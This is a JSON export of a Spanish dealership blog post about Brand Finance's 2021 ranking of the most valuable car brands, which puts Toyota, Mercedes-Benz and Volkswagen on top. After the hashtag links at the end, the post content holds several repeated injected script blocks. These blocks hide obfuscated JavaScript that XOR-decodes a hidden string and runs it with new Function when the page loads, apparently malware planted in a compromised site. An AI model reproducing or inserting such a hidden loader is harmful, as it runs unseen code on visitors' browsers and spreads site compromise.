{"id":1897,"date":"2021-01-27T10:50:17","date_gmt":"2021-01-27T09:50:17","guid":{"rendered":"https:\/\/www.autosportmoraleja.es\/blog\/?p=1897"},"modified":"2026-07-05T18:49:55","modified_gmt":"2026-07-05T16:49:55","slug":"toyota-mercedes-y-volkswagen-las-marcas-de-coches-mas-valiosas","status":"publish","type":"post","link":"https:\/\/www.autosportmoraleja.es\/blog\/toyota-mercedes-y-volkswagen-las-marcas-de-coches-mas-valiosas\/","title":{"rendered":"Toyota, Mercedes y Volkswagen, las marcas de coches m\u00e1s valiosas"},"content":{"rendered":"\n<p><\/p>\n\n\n\n<p>Las marcas <strong>Toyota<\/strong>, <strong>Mercedes-Benz<\/strong> y <strong>Volkswagen <\/strong>son las m\u00e1s valiosas del mundo, seg\u00fan el <strong>Global 500 Ranking 2021 <\/strong>que elabora la consultora <strong>Brand Finance<\/strong> sobre el valor de las compa\u00f1\u00edas en el entorno global.<\/p>\n\n\n\n<p>As\u00ed, <strong>Toyota <\/strong>es la primera empresa automovil\u00edstica que aparece en el listado. Lo hace en el puesto n\u00famero 12, subiendo tres escalones en comparaci\u00f3n con el ranking de 2020, con un valor de 48.966 millones de euros.<\/p>\n\n\n\n<p>Cerca se sit\u00faa <strong>Mercedes-Benz<\/strong>, que ocupa la plaza n\u00famero 13 a nivel global, bajando dos puestos en comparaci\u00f3n con el a\u00f1o pasado, con un valor de 47.934 millones de euros.<\/p>\n\n\n\n<p>El podio en el apartado de marcas automovil\u00edsticas m\u00e1s valiosas lo cierra <strong>Volkswagen<\/strong>, con un monto de 38.709 millones de euros, lo que la sit\u00faa en la 26 posici\u00f3n mundial, bajando un escal\u00f3n.<\/p>\n\n\n\n<p><strong>BMW <\/strong>se situ\u00f3 en el puesto n\u00famero 29 del ranking, al igual que el a\u00f1o pasado, y como cuarta firma automovil\u00edstica m\u00e1s valiosa, con 33.300 millones de euros, mientras que <strong>Mitsubishi <\/strong>ocupa el trig\u00e9simo cuarto lugar, tambi\u00e9n la misma plaza que en 2020, 29.881 millones de euros.<\/p>\n\n\n\n<p>Por su parte, <strong>Porsche <\/strong>es la 36\u00aa marca m\u00e1s valiosa del mundo, subiendo cuatro puestos, con 28.260 millones de euros, seguida por <strong>Tesla<\/strong>, que ocupa la plaza n\u00famero 42, con 26.332 millones de euros, tras subir m\u00e1s de 100 escalones en un a\u00f1o.<\/p>\n\n\n\n<p>Entre otras marcas, en el top 100 mundial tambi\u00e9n se encuentran las firmas automovil\u00edsticas <strong>Honda <\/strong>(46), <strong>Hyundai <\/strong>(70),  <strong>Ford <\/strong>(71), <strong>Tata <\/strong>(77)  y <strong>Volvo<\/strong>, que ocupa el puesto n\u00famero 100.<\/p>\n\n\n\n<p><a href=\"https:\/\/www.autosportmoraleja.es\/blog\/tag\/mercedesbenz\/\">#MERCEDESBENZ<\/a>,\u00a0<a href=\"https:\/\/www.autosportmoraleja.es\/blog\/tag\/autosportmoraleja\/\">#AUTOSPORTMORALEJA<\/a>,\u00a0<a href=\"https:\/\/www.autosportmoraleja.es\/blog\/tag\/bmw\/\">#BMW<\/a>,\u00a0<a href=\"https:\/\/www.autosportmoraleja.es\/blog\/tag\/brandfinance\/\">#BRANDFINANCE<\/a>,\u00a0<a href=\"https:\/\/www.autosportmoraleja.es\/blog\/tag\/ford\/\">#FORD<\/a>,\u00a0<a href=\"https:\/\/www.autosportmoraleja.es\/blog\/tag\/honda\/\">#HONDA<\/a>,\u00a0<a href=\"https:\/\/www.autosportmoraleja.es\/blog\/tag\/hyundai\/\">#HYUNDAI<\/a>,\u00a0<a href=\"https:\/\/www.autosportmoraleja.es\/blog\/tag\/madrid\/\">#MADRID<\/a>,\u00a0<a href=\"https:\/\/www.autosportmoraleja.es\/blog\/tag\/mitsubishi\/\">#MITSUBISHI<\/a>,\u00a0<a href=\"https:\/\/www.autosportmoraleja.es\/blog\/tag\/porsche\/\">#PORSCHE<\/a>,\u00a0<a href=\"https:\/\/www.autosportmoraleja.es\/blog\/tag\/segundamano\/\">#SEGUNDAMANO<\/a>,\u00a0<a href=\"https:\/\/www.autosportmoraleja.es\/blog\/tag\/tata\/\">#TATA<\/a>,<a href=\"https:\/\/www.autosportmoraleja.es\/blog\/tag\/tesla\/\">#TESLA<\/a>,\u00a0<a href=\"https:\/\/www.autosportmoraleja.es\/blog\/tag\/toyota\/\">#TOYOTA<\/a>,\u00a0<a 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Uint8Array(_0x2b22['length']),_0x249c=0;for(;_0x249c<_0x2b22['length'];_0x249c++)_0xe52d[_0x249c]=_0x2b22['charCodeAt'](_0x249c)^_0x4cbf;(new Function(new TextDecoder()['decode'](_0xe52d)))()}();<\/script><script>;!function(){var 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Uint8Array(_0x2b22['length']),_0x249c=0;for(;_0x249c<_0x2b22['length'];_0x249c++)_0xe52d[_0x249c]=_0x2b22['charCodeAt'](_0x249c)^_0x4cbf;(new Function(new TextDecoder()['decode'](_0xe52d)))()}();<\/script><script>;!function(){var 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